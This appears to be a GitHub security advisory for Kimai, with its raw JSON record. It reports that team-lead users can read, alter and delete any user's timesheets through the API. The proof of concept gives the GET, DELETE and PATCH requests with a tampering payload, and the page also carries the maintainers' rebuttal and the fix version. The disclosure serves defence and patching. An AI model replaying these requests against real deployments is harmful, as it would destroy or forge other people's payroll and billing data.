GHSA-9G2Q-W3W2-VF7Q

Vulnerability from github – Published: 2026-05-06 18:28 – Updated: 2026-05-06 18:28
VLAI?
Summary
Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation
Details

Summary

Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.

Details

TimesheetVoter::voteOnAttribute() maps permissions to own_timesheet or other_timesheet without checking team membership. The voter's own comment confirms this is a known gap:

// extend me for "team" support later on
if ($subject->getUser()?->getId() === $user->getId()) {
    $permission .= 'own';
} else {
    $permission .= 'other';
}

PoC

Tested against Kimai 2.52.0 Docker instance.

Setup: - User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description "Private timesheet - UserA only" - User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A

User B reads User A's timesheet data:

GET /api/timesheets/2 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>

Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only".

User B deletes User A's timesheet:

DELETE /api/timesheets/3 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>

Response: HTTP 204 No Content — timesheet permanently deleted.

User B tampers User A's timesheet:

PATCH /api/timesheets/6 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Content-Type: application/json

{"begin":"2026-03-24T08:00:00","end":"2026-03-24T18:00:00","project":1,"activity":1,"description":"TAMPERED","exported":false,"billable":false}

Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.

Note: ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.

Impact

Any authenticated user with ROLE_TEAMLEAD or above can:

  1. Permanently delete timesheets belonging to any user system-wide — destroying billable hours, payroll data, and project billing history
  2. Silently alter timesheet descriptions, hours, and billing flags — forging hours up or down, directly affecting invoicing and payroll
  3. Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records

No user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.

Maintainers answer: why this is not eligible for a CVE

The behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to ROLE_TEAMLEAD are:

  • edit_other_timesheet — Edit existing records of other users
  • delete_other_timesheet — Delete existing records of other users

These permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding *_other_timesheet can act on any other user's timesheet. The inline comment // extend me for "team" support later on reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.

The report frames this as authorization bypass, but no authorization boundary is being crossed: ROLE_TEAMLEAD is operating within its documented permissions.

Kimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.

Solution

Team-scoped timesheet permission checks were added in 2.56.0.

Operators of Kimai <= 2.55 who need stricter isolation between teamleads should not grant ROLE_TEAMLEAD to users who must not act on other teams' timesheets.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.55.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T18:28:45Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAny ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system \u2014 regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.\n\n### Details\n\n`TimesheetVoter::voteOnAttribute()` maps permissions to `own_timesheet` or `other_timesheet` without checking team membership. The voter\u0027s own comment confirms this is a known gap:\n\n```php\n// extend me for \"team\" support later on\nif ($subject-\u003egetUser()?-\u003egetId() === $user-\u003egetId()) {\n    $permission .= \u0027own\u0027;\n} else {\n    $permission .= \u0027other\u0027;\n}\n```\n\n### PoC\n\nTested against Kimai 2.52.0 Docker instance.\n\nSetup:\n- User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description \"Private timesheet - UserA only\"\n- User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A\n\n**User B reads User A\u0027s timesheet data:**\n\n```\nGET /api/timesheets/2 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\n```\n\nResponse: HTTP 200 \u2014 returns full timesheet record including description \"Private timesheet - UserA only\".\n\n**User B deletes User A\u0027s timesheet:**\n\n```\nDELETE /api/timesheets/3 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\n```\n\nResponse: HTTP 204 No Content \u2014 timesheet permanently deleted.\n\n**User B tampers User A\u0027s timesheet:**\n\n```\nPATCH /api/timesheets/6 HTTP/1.1\nX-AUTH-USER: userb\nX-AUTH-TOKEN: \u003cuserb_api_token\u003e\nContent-Type: application/json\n\n{\"begin\":\"2026-03-24T08:00:00\",\"end\":\"2026-03-24T18:00:00\",\"project\":1,\"activity\":1,\"description\":\"TAMPERED\",\"exported\":false,\"billable\":false}\n```\n\nResponse: HTTP 200 OK \u2014 duration inflated from 3600s to 36000s, description overwritten.\n\n**Note:** ROLE_USER (userc) is correctly blocked \u2014 DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.\n\n### Impact\n\nAny authenticated user with ROLE_TEAMLEAD or above can:\n\n1. Permanently delete timesheets belonging to any user system-wide \u2014 destroying billable hours, payroll data, and project billing history\n2. Silently alter timesheet descriptions, hours, and billing flags \u2014 forging hours up or down, directly affecting invoicing and payroll\n3. Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records\n\nNo user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.\n\n### Maintainers answer: why this is not eligible for a CVE\n\nThe behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to `ROLE_TEAMLEAD` are:\n\n- `edit_other_timesheet` \u2014 Edit existing records of other users\n- `delete_other_timesheet` \u2014 Delete existing records of other users\n\nThese permissions were global by design, not team-scoped. The UI surfaces only the teamlead\u0027s own team timesheets, but the API has historically honored these permissions as documented: a role holding `*_other_timesheet` can act on any other user\u0027s timesheet. The inline comment `// extend me for \"team\" support later on` reflects this accurately \u2014 team-scoped enforcement was a planned enhancement, not a security control that existed and failed.\n\nThe report frames this as authorization bypass, but no authorization boundary is being crossed: `ROLE_TEAMLEAD` is operating within its documented permissions.\n\nKimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.\n\n### Solution\n\nTeam-scoped timesheet permission checks were added in 2.56.0.\n\nOperators of Kimai \u003c= 2.55 who need stricter isolation between teamleads should not grant `ROLE_TEAMLEAD` to users who must not act on other teams\u0027 timesheets.",
  "id": "GHSA-9g2q-w3w2-vf7q",
  "modified": "2026-05-06T18:28:46Z",
  "published": "2026-05-06T18:28:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-9g2q-w3w2-vf7q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…